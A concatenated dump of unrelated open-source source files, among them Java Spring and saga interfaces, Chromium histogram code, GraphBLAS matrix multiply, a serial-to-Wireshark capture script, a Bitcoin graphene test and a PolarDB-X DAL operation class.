2,331
732
package io.eventuate.tram.spring.commands.autoconfigure; import io.eventuate.tram.spring.commands.consumer.TramCommandConsumerConfiguration; import io.eventuate.tram.spring.commands.producer.TramCommandProducerConfiguration; import org.springframework.boot.autoconfigure.condition.ConditionalOnClass; import org.springframework.context.annotation.Configuration; import org.springframework.context.annotation.Import; @Configuration @ConditionalOnClass(TramCommandConsumerConfiguration.class) @Import({TramCommandConsumerConfiguration.class, TramCommandProducerConfiguration.class}) public class EventuateTramCommandsAutoConfigure { }
171
826
package io.eventuate.tram.sagas.reactive.simpledsl; import io.eventuate.tram.commands.common.Command; import io.eventuate.tram.commands.consumer.CommandWithDestination; import io.eventuate.tram.sagas.simpledsl.CommandEndpoint; import org.reactivestreams.Publisher; import java.util.function.Function; import java.util.function.Predicate; public interface ReactiveWithCompensationBuilder<Data> { InvokeReactiveParticipantStepBuilder<Data> withCompensation(Function<Data, Publisher<CommandWithDestination>> compensation); InvokeReactiveParticipantStepBuilder<Data> withCompensation(Predicate<Data> compensationPredicate, Function<Data, Publisher<CommandWithDestination>> compensation); <C extends Command> InvokeReactiveParticipantStepBuilder<Data> withCompensation(CommandEndpoint<C> commandEndpoint, Function<Data, Publisher<C>> commandProvider); <C extends Command> InvokeReactiveParticipantStepBuilder<Data> withCompensation(Predicate<Data> compensationPredicate, CommandEndpoint<C> commandEndpoint, Function<Data, Publisher<C>> commandProvider); }
605
2,151
<gh_stars>1000+ // Copyright (c) 2012 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "base/metrics/sample_map.h" #include "base/logging.h" #include "base/memory/ptr_util.h" #include "base/numerics/safe_conversions.h" #include "base/stl_util.h" namespace base { typedef HistogramBase::Count Count; typedef HistogramBase::Sample Sample; namespace { // An iterator for going through a SampleMap. The logic here is identical // to that of PersistentSampleMapIterator but with different data structures. // Changes here likely need to be duplicated there. class SampleMapIterator : public SampleCountIterator { public: typedef std::map<HistogramBase::Sample, HistogramBase::Count> SampleToCountMap; explicit SampleMapIterator(const SampleToCountMap& sample_counts); ~SampleMapIterator() override; // SampleCountIterator: bool Done() const override; void Next() override; void Get(HistogramBase::Sample* min, int64_t* max, HistogramBase::Count* count) const override; private: void SkipEmptyBuckets(); SampleToCountMap::const_iterator iter_; const SampleToCountMap::const_iterator end_; }; SampleMapIterator::SampleMapIterator(const SampleToCountMap& sample_counts) : iter_(sample_counts.begin()), end_(sample_counts.end()) { SkipEmptyBuckets(); } SampleMapIterator::~SampleMapIterator() = default; bool SampleMapIterator::Done() const { return iter_ == end_; } void SampleMapIterator::Next() { DCHECK(!Done()); ++iter_; SkipEmptyBuckets(); } void SampleMapIterator::Get(Sample* min, int64_t* max, Count* count) const { DCHECK(!Done()); if (min) *min = iter_->first; if (max) *max = strict_cast<int64_t>(iter_->first) + 1; if (count) *count = iter_->second; } void SampleMapIterator::SkipEmptyBuckets() { while (!Done() && iter_->second == 0) { ++iter_; } } } // namespace SampleMap::SampleMap() : SampleMap(0) {} SampleMap::SampleMap(uint64_t id) : HistogramSamples(id, new LocalMetadata()) {} SampleMap::~SampleMap() { delete static_cast<LocalMetadata*>(meta()); } void SampleMap::Accumulate(Sample value, Count count) { sample_counts_[value] += count; IncreaseSumAndCount(strict_cast<int64_t>(count) * value, count); } Count SampleMap::GetCount(Sample value) const { std::map<Sample, Count>::const_iterator it = sample_counts_.find(value); if (it == sample_counts_.end()) return 0; return it->second; } Count SampleMap::TotalCount() const { Count count = 0; for (const auto& entry : sample_counts_) { count += entry.second; } return count; } std::unique_ptr<SampleCountIterator> SampleMap::Iterator() const { return WrapUnique(new SampleMapIterator(sample_counts_)); } bool SampleMap::AddSubtractImpl(SampleCountIterator* iter, Operator op) { Sample min; int64_t max; Count count; for (; !iter->Done(); iter->Next()) { iter->Get(&min, &max, &count); if (strict_cast<int64_t>(min) + 1 != max) return false; // SparseHistogram only supports bucket with size 1. sample_counts_[min] += (op == HistogramSamples::ADD) ? count : -count; } return true; } } // namespace base
1,120
6,717
<filename>Frameworks/Foundation/NSPathUtilitiesInternal.h<gh_stars>1000+ //****************************************************************************** // // Copyright (c) 2015 Microsoft Corporation. All rights reserved. // // This code is licensed under the MIT License (MIT). // // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE // AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN // THE SOFTWARE. // //****************************************************************************** // This source file is part of the Swift.org open source project // // Copyright (c) 2014 - 2015 Apple Inc. and the Swift project authors // Licensed under Apache License v2.0 with Runtime Library Exception // // See http://swift.org/LICENSE.txt for license information // See http://swift.org/CONTRIBUTORS.txt for the list of Swift project authors // #pragma once #import <Foundation/NSString.h> @class NSArray; @class NSData; @class NSMutableArray; // Helper that returns the path separator character extern NSString* _NSGetSlashStr(); // Below helpers are based off of helpers from Foundation/NSPathUtilities.swift using FilePathPredicate = bool (^)(NSString*); extern NSString* _stringFromDataWithEncoding(NSString* self, NSData* data, NSStringEncoding encoding); extern NSString* _stringFromDataByDeterminingEncoding(NSString* self, NSData* data, NSStringEncoding* usedEncoding); extern NSString* _longestCommonPrefix(NSArray* strings, BOOL caseSensitive); extern NSString* _ensureLastPathSeparator(NSString* path); extern NSString* _ensureLastPathSeparator(NSString* path); extern BOOL _stringIsPathToDirectory(NSString* path); extern BOOL _stringLooksLikeOrIsPathToDirectory(NSString* path); extern FilePathPredicate _getFileNamePredicate(NSString* thePrefix, BOOL caseSensitive); extern FilePathPredicate _getExtensionPredicate(NSArray* exts, BOOL caseSensitive); extern NSMutableArray* _getNamesAtURL(NSURL* filePathURL, NSString* prependWith, FilePathPredicate namePredicate, FilePathPredicate typePredicate); extern BOOL _isLetter(unichar character);
802
724
# -*- coding:utf-8 -*- # Copyright (C) 2020. Huawei Technologies Co., Ltd. All rights reserved. # This program is free software; you can redistribute it and/or modify # it under the terms of the MIT License. # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # MIT License for more details. """Class of DoubleMultiGaussian.""" from sklearn.mixture import GaussianMixture import numpy as np class DoubleMultiGaussian(object): """Gaussian Process. :param gamma: gamma. :type gamma: int """ def __init__(self, gamma=0.25): """Init TunerModel.""" self.gamma = gamma self.means_ = None self.covariances_ = None def fit(self, X, y): """Divide X according to y and get two Gaussian model.""" X_sorted = X[np.argsort(-y)] if X.shape[0] < 4: gaussian_high = GaussianMixture().fit(X_sorted) gaussian_low = gaussian_high else: point_segmentation = max(2, int(self.gamma * X.shape[0])) gaussian_high = GaussianMixture().fit(X_sorted[:point_segmentation]) gaussian_low = GaussianMixture().fit(X_sorted[point_segmentation:]) self.means_ = [gaussian_high.means_[0], gaussian_low.means_[0]] self.covariances_ = [gaussian_high.covariances_[0], gaussian_low.covariances_[0]]
591
988
//------------------------------------------------------------------------------ // GB_mxm: matrix-matrix multiply for GrB_mxm, GrB_mxv, and GrB_vxm //------------------------------------------------------------------------------ // SuiteSparse:GraphBLAS, <NAME>, (c) 2017-2021, All Rights Reserved. // SPDX-License-Identifier: Apache-2.0 //------------------------------------------------------------------------------ // C<M> = accum (C,A*B) and variations. // This function is not user-callable. It does the work for user-callable // functions GrB_mxm, GrB_mxv, and GrB_vxm. #include "GB_mxm.h" #include "GB_accum_mask.h" #define GB_FREE_ALL \ { \ GB_phbix_free (MT) ; \ GB_phbix_free (T) ; \ } GrB_Info GB_mxm // C<M> = A*B ( GrB_Matrix C, // input/output matrix for results const bool C_replace, // if true, clear C before writing to it const GrB_Matrix M_input, // optional mask for C, unused if NULL const bool Mask_comp, // if true, use !M const bool Mask_struct, // if true, use the only structure of M const GrB_BinaryOp accum, // optional accum for Z=accum(C,T) const GrB_Semiring semiring, // defines '+' and '*' for C=A*B const GrB_Matrix A, // input matrix const bool A_transpose, // if true, use A' instead of A const GrB_Matrix B, // input matrix const bool B_transpose, // if true, use B' instead of B const bool flipxy, // if true, do z=fmult(b,a) vs fmult(a,b) const GrB_Desc_Value AxB_method,// for auto vs user selection of methods const int do_sort, // if nonzero, try to return C unjumbled GB_Context Context ) { //-------------------------------------------------------------------------- // check inputs //-------------------------------------------------------------------------- // C may be aliased with M, A, and/or B GrB_Info info ; // RMM note: header of MT and T on the stack struct GB_Matrix_opaque MT_header, T_header ; GrB_Matrix MT = GB_clear_static_header (&MT_header) ; GrB_Matrix T = GB_clear_static_header (&T_header) ; GB_RETURN_IF_FAULTY_OR_POSITIONAL (accum) ; GB_RETURN_IF_NULL_OR_FAULTY (semiring) ; ASSERT_MATRIX_OK (C, "C input for GB_mxm", GB0) ; ASSERT_MATRIX_OK_OR_NULL (M_input, "M for GB_mxm", GB0) ; ASSERT_BINARYOP_OK_OR_NULL (accum, "accum for GB_mxm", GB0) ; ASSERT_SEMIRING_OK (semiring, "semiring for GB_mxm", GB0) ; ASSERT_MATRIX_OK (A, "A for GB_mxm", GB0) ; ASSERT_MATRIX_OK (B, "B for GB_mxm", GB0) ; // check domains and dimensions for C<M> = accum (C,T) GrB_Type T_type = semiring->add->op->ztype ; GB_OK (GB_compatible (C->type, C, M_input, Mask_struct, accum, T_type, Context)) ; // T=A*B via semiring: A and B must be compatible with semiring->multiply if (flipxy) { // z=fmult(b,a), for entries a from A, and b from B GB_OK (GB_BinaryOp_compatible (semiring->multiply, NULL, B->type, A->type, GB_ignore_code, Context)) ; } else { // z=fmult(a,b), for entries a from A, and b from B GB_OK (GB_BinaryOp_compatible (semiring->multiply, NULL, A->type, B->type, GB_ignore_code, Context)) ; } // check the dimensions int64_t anrows = (A_transpose) ? GB_NCOLS (A) : GB_NROWS (A) ; int64_t ancols = (A_transpose) ? GB_NROWS (A) : GB_NCOLS (A) ; int64_t bnrows = (B_transpose) ? GB_NCOLS (B) : GB_NROWS (B) ; int64_t bncols = (B_transpose) ? GB_NROWS (B) : GB_NCOLS (B) ; if (ancols != bnrows || GB_NROWS (C) != anrows || GB_NCOLS (C) != bncols) { GB_ERROR (GrB_DIMENSION_MISMATCH, "Dimensions not compatible:\n" "output is " GBd "-by-" GBd "\n" "first input is " GBd "-by-" GBd "%s\n" "second input is " GBd "-by-" GBd "%s", GB_NROWS (C), GB_NCOLS (C), anrows, ancols, A_transpose ? " (transposed)" : "", bnrows, bncols, B_transpose ? " (transposed)" : "") ; } //-------------------------------------------------------------------------- // finish any pending work and check for C<!NULL> mask //-------------------------------------------------------------------------- GrB_Matrix M = M_input ; GB_MATRIX_WAIT_IF_PENDING_OR_ZOMBIES (M) ; if (Mask_struct && GB_is_dense (M)) { // ignore the mask if all entries present and not complemented M = NULL ; } // quick return if a NULL mask is complemented GB_RETURN_IF_QUICK_MASK (C, C_replace, M, Mask_comp, Mask_struct) ; GB_MATRIX_WAIT_IF_PENDING_OR_ZOMBIES (A) ; GB_MATRIX_WAIT_IF_PENDING_OR_ZOMBIES (B) ; //-------------------------------------------------------------------------- // T = A*B, A'*B, A*B', or A'*B', also using the mask if present //-------------------------------------------------------------------------- // If C is dense (with no pending work), and the accum is present, then // C+=A*B can be done in-place (C_replace is effectively false). If C is // dense, M is present, and C_replace is false, then C<M>+=A*B or // C<!M>+=A*B can also be done in-place. In all of these cases, C remains // dense with all entries present. C can have any sparsity structure; // its pattern is ignored. // If C is bitmap, then it can always be be done in-place (assuming the // type of C is OK). The accum operator need not be present. GB_AxB_meta // can easily insert non-entries into C and check for non-entries, via the // bitmap. // To compute C in-place, its type must match the accum->ztype, or the // semiring->add->ztype if accum is not present. To compute in-place, // C must also not be transposed, and it cannot be aliased with M, A, or B. // for (int k = 0 ; k < 40 ; k++) GB_Global_timing_clear (k) ; bool mask_applied = false ; bool done_in_place = false ; bool M_transposed = false ; GB_OK (GB_AxB_meta (T, C, C_replace, C->is_csc, MT, &M_transposed, M, Mask_comp, Mask_struct, accum, A, B, semiring, A_transpose, B_transpose, flipxy, &mask_applied, &done_in_place, AxB_method, do_sort, Context)) ; // for (int k = 0 ; k < 40 ; k++) // { // double t = GB_Global_timing_get (k) ; // if (t > 0) printf ("%2d: %g\n", k, t) ; // } if (done_in_place) { // C has been computed in-place; no more work to do GB_phbix_free (MT) ; GB_OK (GB_conform (C, Context)) ; ASSERT_MATRIX_OK (C, "C from GB_mxm (in-place)", GB0) ; return (info) ; } ASSERT_MATRIX_OK (T, "T=A*B from GB_AxB_meta", GB0) ; ASSERT_MATRIX_OK_OR_NULL (M_transposed ? MT : NULL, "MT from meta", GB0) ; ASSERT (GB_ZOMBIES_OK (T)) ; ASSERT (GB_JUMBLED_OK (T)) ; ASSERT (!GB_PENDING (T)) ; //-------------------------------------------------------------------------- // C<M> = accum (C,T): accumulate the results into C via the mask //-------------------------------------------------------------------------- if ((accum == NULL) && (C->is_csc == T->is_csc) && (M == NULL || (M != NULL && mask_applied)) && (C_replace || GB_NNZ_UPPER_BOUND (C) == 0)) { // C = 0 ; C = (ctype) T ; with the same CSR/CSC format. The mask M // (if any) has already been applied. If C is also empty, or to be // cleared anyway, and if accum is not present, then T can be // transplanted directly into C, as C = (ctype) T, typecasting if // needed. If no typecasting is done then this takes no time at all // and is a pure transplant. Also conform C to its desired // hypersparsity. GB_phbix_free (MT) ; if (GB_ZOMBIES (T) && T->type != C->type) { // T = A*B can be constructed with zombies, using the dot3 method. // Since its type differs from C, its values will be typecasted // from T->type to C->type. The zombies are killed before // typecasting. Otherwise, if they were not killed, uninitialized // values in T->x for these zombies will get typecasted into C->x. // Typecasting a zombie is safe, since the values of all zombies // are ignored. But valgrind complains about it, so they are // killed now. Also see the discussion in GB_transplant. GBURBLE ("(wait, so zombies are not typecasted) ") ; GB_OK (GB_wait (T, "T", Context)) ; } GB_OK (GB_transplant_conform (C, C->type, &T, Context)) ; // C may be returned with zombies and jumbled, but no pending tuples ASSERT_MATRIX_OK (C, "C from GB_mxm (transplanted)", GB0) ; ASSERT (GB_ZOMBIES_OK (C)) ; ASSERT (GB_JUMBLED_OK (C)) ; ASSERT (!GB_PENDING (C)) ; return (GB_block (C, Context)) ; } else { // C<M> = accum (C,T) // GB_accum_mask also conforms C to its desired hypersparsity. info = GB_accum_mask (C, M, (M_transposed) ? MT : NULL, accum, &T, C_replace, Mask_comp, Mask_struct, Context) ; GB_phbix_free (MT) ; #ifdef GB_DEBUG if (info == GrB_SUCCESS) { // C may be returned jumbled, with zombies and pending tuples ASSERT_MATRIX_OK (C, "Final C from GB_mxm (accum_mask)", GB0) ; ASSERT (GB_ZOMBIES_OK (C)) ; ASSERT (GB_JUMBLED_OK (C)) ; ASSERT (GB_PENDING_OK (C)) ; } #endif return (info) ; } }
4,145
4,071
<filename>xdl/xdl/python/utils/file_io.py # Copyright 2018 Alibaba Group. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================== from xdl.python.pybind import hdfs_read, hdfs_write, get_file_system def write_string_to_file(name, content): if name.startswith("hdfs://"): hdfs_write(name, content) else: with open(name, 'w') as f: f.write(content) def read_string_from_file(name): if name.startswith("hdfs://"): return hdfs_read(name) else: with open(name, 'r') as f: return f.read() class FileSystemClient(object): def __init__(self, fs_type, namenode, reader_path=None, writer_path=None): self._client = get_file_system(fs_type, namenode) self._reader_path = reader_path self._writer_path = writer_path self._reader = None self._writer = None if reader_path is not None: self._reader = self._client.get_ant(reader_path, 'r') if writer_path is not None: self._writer = self._client.get_ant(writer_path, 'w') def read(self, path=None): if path is None: path = self._reader_path if path is None: print('ERROR: cannot read without reader path') return # TODO def write(self, msg, size, path=None): if path is None: writer = self._writer else: writer = self._client.get_ant(path, 'w') if writer is None: print('ERROR: cannot write without writer path') return res = writer.write(msg, size) if res == -1: print('ERROR: write to swift failed')
770
396
<reponame>yeungeek/monkey-android package com.yeungeek.monkeyandroid.ui.detail; import com.yeungeek.mvp.common.lce.MvpLceView; /** * Created by yeungeek on 2016/4/13. */ public interface RepoDetailMvpView extends MvpLceView<String> { void starStatus(boolean isStaring); void notLogined(); }
119
1,467
<gh_stars>1000+ /** * Copyright Soramitsu Co., Ltd. All Rights Reserved. * SPDX-License-Identifier: Apache-2.0 */ #ifndef IROHA_ADDACCOUNTDETAIL_HPP #define IROHA_ADDACCOUNTDETAIL_HPP #include <string> #include "model/command.hpp" namespace iroha { namespace model { struct SetAccountDetail : public Command { std::string account_id; std::string key; std::string value; bool operator==(const Command &command) const override; SetAccountDetail() {} SetAccountDetail(const std::string &account_id, const std::string &key, const std::string &value) : account_id(account_id), key(key), value(value) {} }; } // namespace model } // namespace iroha #endif // IROHA_ADDACCOUNTDETAIL_HPP
332
334
# Made by @xdavidhu (github.com/xdavidhu, https://xdavidhu.me/) import serial import io import os import subprocess import signal import time try: serialportInput = input("[?] Select a serial port (default '/dev/ttyUSB0'): ") if serialportInput == "": serialport = "/dev/ttyUSB0" else: serialport = serialportInput except KeyboardInterrupt: print("\n[+] Exiting...") exit() try: canBreak = False while not canBreak: boardRateInput = input("[?] Select a baudrate (default '921600'): ") if boardRateInput == "": boardRate = 921600 canBreak = True else: try: boardRate = int(boardRateInput) except KeyboardInterrupt: print("\n[+] Exiting...") exit() except Exception as e: print("[!] Please enter a number!") continue canBreak = True except KeyboardInterrupt: print("\n[+] Exiting...") exit() try: filenameInput = input("[?] Select a filename (default 'capture.pcap'): ") if filenameInput == "": filename = "capture.pcap" else: filename = filenameInput except KeyboardInterrupt: print("\n[+] Exiting...") exit() canBreak = False while not canBreak: try: ser = serial.Serial(serialport, boardRate) canBreak = True except KeyboardInterrupt: print("\n[+] Exiting...") exit() except: print("[!] Serial connection failed... Retrying...") time.sleep(2) continue print("[+] Serial connected. Name: " + ser.name) counter = 0 f = open(filename,'wb') check = 0 while check == 0: line = ser.readline() if b"<<START>>" in line: check = 1 print("[+] Stream started...") #else: print '"'+line+'"' print("[+] Starting up wireshark...") cmd = "tail -f -c +0 " + filename + " | wireshark -k -i -" p = subprocess.Popen(cmd, stdout=subprocess.PIPE, shell=True, preexec_fn=os.setsid) try: while True: ch = ser.read() f.write(ch) f.flush() except KeyboardInterrupt: print("[+] Stopping...") os.killpg(os.getpgid(p.pid), signal.SIGTERM) f.close() ser.close() print("[+] Done.")
1,030
1,048
<reponame>dibyendumajumdar/ravi<gh_stars>1000+ /* Adapted from https://github.com/rui314/chibicc MIT License Copyright (c) 2019 <NAME> Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ #include "chibicc.h" void strarray_push(C_MemoryAllocator *allocator, StringArray *arr, char *s) { if (!arr->data) { arr->data = allocator->calloc(allocator->arena, 8, sizeof(char *)); arr->capacity = 8; } if (arr->capacity == arr->len) { arr->data = allocator->realloc(allocator->arena, arr->data, sizeof(char *) * arr->capacity * 2); arr->capacity *= 2; for (int i = arr->len; i < arr->capacity; i++) arr->data[i] = NULL; } arr->data[arr->len++] = s; } #if 0 // Takes a printf-style format string and returns a formatted string. char *format(char *fmt, ...) { char *buf; size_t buflen; FILE *out = open_memstream(&buf, &buflen); va_list ap; va_start(ap, fmt); vfprintf(out, fmt, ap); va_end(ap); fclose(out); return buf; } #endif
640
306
<reponame>timkpaine/lantern<filename>lantern/grids/__init__.py<gh_stars>100-1000 from .grid_plotly import plotly_grid from .grid_qgrid import qgrid_grid from .grid_psp import psp_grid from .grid_phosphor import phosphor_grid from .grid_ipysheet import ipysheet_grid from .grid_lineup import lineup_grid _BACKENDS = ['plotly', 'qgrid', 'psp', 'phosphor', 'ipysheet', 'lineup'] def _backend_to_grid_foo(backend, theme=None): if backend == 'plotly' or backend == 'cufflinks': return plotly_grid if backend == 'qgrid': return qgrid_grid if backend == 'psp': return psp_grid if backend == 'phosphor': return phosphor_grid if backend == 'ipysheet': return ipysheet_grid if backend == 'lineup': return lineup_grid raise NotImplementedError() def grid(data, backend='psp', **kwargs): if backend not in _BACKENDS: raise Exception('Must pick backend in %s' % _BACKENDS) return _backend_to_grid_foo(backend)(data, **kwargs)
404
535
#!/usr/bin/env python3 # Copyright (c) 2018 The Bitcoin Unlimited developers # Distributed under the MIT software license, see the accompanying # file COPYING or http://www.opensource.org/licenses/mit-license.php. from grapheneblocks import GrapheneBlockTest from test_framework.test_framework import BitcoinTestFramework from test_framework.util import * class GrapheneOptimizedTest(GrapheneBlockTest): def setup_network(self, split=False): standard_node_opts = [ "-rpcservertimeout=0", "-debug=graphene", "-use-grapheneblocks=1", "-use-thinblocks=0", "-use-compactblocks=0", "-net.grapheneFastFilterCompatibility=2", "-excessiveblocksize=6000000", "-blockprioritysize=6000000", "-blockmaxsize=6000000"] optimized_node_opts = [ "-rpcservertimeout=0", "-debug=graphene", "-use-grapheneblocks=1", "-use-thinblocks=0", "-use-compactblocks=0", "-net.grapheneFastFilterCompatibility=0", "-excessiveblocksize=6000000", "-blockprioritysize=6000000", "-blockmaxsize=6000000"] self.nodes = [ start_node(0, self.options.tmpdir, optimized_node_opts), start_node(1, self.options.tmpdir, standard_node_opts), start_node(2, self.options.tmpdir, optimized_node_opts) ] interconnect_nodes(self.nodes) self.is_network_split = False self.sync_all() if __name__ == '__main__': GrapheneOptimizedTest().main()
736
491
/* * Encog(tm) Core v3.4 - Java Version * http://www.heatonresearch.com/encog/ * https://github.com/encog/encog-java-core * Copyright 2008-2017 Heaton Research, Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * * For more information on Heaton Research copyrights, licenses * and trademarks visit: * http://www.heatonresearch.com/copyright */ package org.encog.ml.data.auto; import org.encog.Encog; import org.junit.Assert; import org.junit.Test; public class TestAutoFloatColumn { @Test public void testColumn() { float[] data = { 0.1f, 0.2f, 0.3f, 0.4f }; AutoFloatColumn col = new AutoFloatColumn(data,0,10); col.autoMinMax(); Assert.assertEquals(0.1, col.getActualMin(), 0.0001); Assert.assertEquals(0.4, col.getActualMax(), 0.0001); } }
422
5,169
<filename>Specs/FontasticIcons/0.2.0/FontasticIcons.podspec.json { "name": "FontasticIcons", "version": "0.2.0", "summary": "Objective-C wrapper for iconic fonts.", "description": " - [Entypo](http://entypo.com) pictograms by <NAME>.\n - [FontAwesome](http://fortawesome.github.com/Font-Awesome/) by <NAME>.\n - [Iconic](http://somerandomdude.com/work/iconic/) font by <NAME>.\n", "homepage": "https://github.com/AlexDenisov/FontasticIcons", "license": "MIT", "authors": { "<NAME>": "<EMAIL>" }, "source": { "git": "https://github.com/AlexDenisov/FontasticIcons.git", "tag": "0.2.0" }, "platforms": { "ios": "3.2" }, "source_files": "FontasticIcons/Sources/Classes", "resources": "FontasticIcons/Sources/Resources/Fonts/*", "frameworks": [ "CoreText", "QuartzCore" ], "requires_arc": false }
401
348
{"nom":"Saint-Martin-au-Bosc","dpt":"Seine-Maritime","inscrits":161,"abs":31,"votants":130,"blancs":12,"nuls":5,"exp":113,"res":[{"panneau":"2","voix":81},{"panneau":"1","voix":32}]}
75
480
/* * Copyright [2013-2021], Alibaba Group Holding Limited * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.alibaba.polardbx.optimizer.core.rel.dal; import java.util.ArrayList; import java.util.List; import java.util.Map; import com.alibaba.polardbx.optimizer.core.dialect.DbType; import com.alibaba.polardbx.optimizer.utils.CalciteUtils; import com.alibaba.polardbx.optimizer.utils.RelUtils; import com.alibaba.polardbx.optimizer.core.CursorMeta; import org.apache.calcite.plan.RelOptCluster; import org.apache.calcite.plan.RelTraitSet; import org.apache.calcite.rel.RelNode; import org.apache.calcite.rel.RelWriter; import org.apache.calcite.rel.externalize.RelDrdsWriter; import org.apache.calcite.rel.type.RelDataType; import org.apache.calcite.sql.SqlDal; import org.apache.calcite.sql.SqlIdentifier; import org.apache.calcite.sql.SqlKind; import org.apache.calcite.sql.SqlNode; import org.apache.calcite.sql.SqlNodeList; import org.apache.calcite.sql.SqlShow; import org.apache.calcite.sql.parser.SqlParserPos; import com.google.common.collect.ImmutableList; import com.google.common.collect.ImmutableMap; import com.alibaba.polardbx.common.jdbc.ParameterContext; import com.alibaba.polardbx.common.utils.TStringUtil; import com.alibaba.polardbx.optimizer.core.rel.BaseQueryOperation; import com.alibaba.polardbx.optimizer.utils.ExplainUtils; /** * @author chenmo.cm */ public abstract class BaseDalOperation extends BaseQueryOperation { protected final RelDataType rowType; protected Map<String, List<List<String>>> targetTable; protected List<String> tableNames = new ArrayList<>(); protected String phyTable; protected boolean removeDbPrefix = true; public BaseDalOperation(RelOptCluster cluster, RelTraitSet traitSet, SqlNode nativeSqlNode, RelDataType rowType, String dbIndex, String phyTable, String schemaName) { this(cluster, traitSet, RelUtils.toNativeSqlLine(nativeSqlNode), nativeSqlNode, DbType.MYSQL, rowType, null, null, dbIndex, phyTable, schemaName); } public BaseDalOperation(RelOptCluster cluster, RelTraitSet traitSet, SqlNode nativeSqlNode, RelDataType rowType, Map<String, List<List<String>>> targetTable, List<String> tableNames, String schemaName) { this(cluster, traitSet, RelUtils.toNativeSqlLine(nativeSqlNode), nativeSqlNode, DbType.MYSQL, rowType, targetTable, tableNames, null, null, schemaName); } public BaseDalOperation(RelOptCluster cluster, RelTraitSet traitSet, String sqlTemplate, SqlNode nativeSqlNode, DbType dbType, RelDataType rowType, Map<String, List<List<String>>> targetTable, List<String> tableNames, String dbIndex, String phyTable, String schemaName) { super(cluster, traitSet, sqlTemplate, nativeSqlNode, dbType); this.rowType = rowType; this.tableNames = tableNames; this.targetTable = targetTable; this.dbIndex = dbIndex; this.phyTable = phyTable; this.kind = kind(); this.schemaName = schemaName; this.cursorMeta = CursorMeta.build(CalciteUtils.buildColumnMeta(rowType, "Dal")); } @Override protected RelDataType deriveRowType() { return rowType; } @Override public RelWriter explainTermsForDisplay(RelWriter pw) { if (single()) { return super.explainTermsForDisplay(pw); } else { pw.item(RelDrdsWriter.REL_NAME, getExplainName()); pw.item("node", ExplainUtils.compressName(targetTable.keySet())); pw.item("sql", this.sqlTemplate); return pw; } } public List<RelNode> getInput(Map<Integer, ParameterContext> params) { final SqlDal dal = (SqlDal) this.nativeSqlNode; // remove db name by default if (isRemoveDbPrefix()) { dal.setDbName((SqlNode) null); } final SqlNode tableName = dal.getTableName(); if (null != tableName && TStringUtil.isNotBlank(phyTable)) { dal.setTableName(phyTable); this.sqlTemplate = RelUtils.toNativeSqlLine(dal); } return ImmutableList.of(PhyDal.create(this, dbIndex, phyTable)); } @Override public RelNode getInput(int i) { return getInput(ImmutableMap.of()).get(i); } public SqlKind kind() { if (getNativeSqlNode() instanceof SqlShow) { return ((SqlShow) getNativeSqlNode()).getShowKind(); } else { return getNativeSqlNode().getKind(); } } @Override public SqlKind getKind() { return getNativeSqlNode().getKind(); } public boolean single() { return null == targetTable || targetTable.isEmpty(); } public Map<String, List<List<String>>> getTargetTable() { return targetTable; } public void setTargetTable(Map<String, List<List<String>>> targetTable) { this.targetTable = targetTable; } @Override public SqlNodeList getHints() { return ((SqlDal) getNativeSqlNode()).getHints(); } @Override public RelNode setHints(SqlNodeList hints) { ((SqlDal) getNativeSqlNode()).setHints(hints); return this; } public String getPhyTable() { return phyTable; } public void setPhyTable(String phyTable) { this.phyTable = phyTable; } public SqlNode getPhyTableNode() { return new SqlIdentifier(phyTable, SqlParserPos.ZERO); } public boolean isRemoveDbPrefix() { return removeDbPrefix; } public void setRemoveDbPrefix(boolean removeDbPrefix) { this.removeDbPrefix = removeDbPrefix; } }
2,712
465
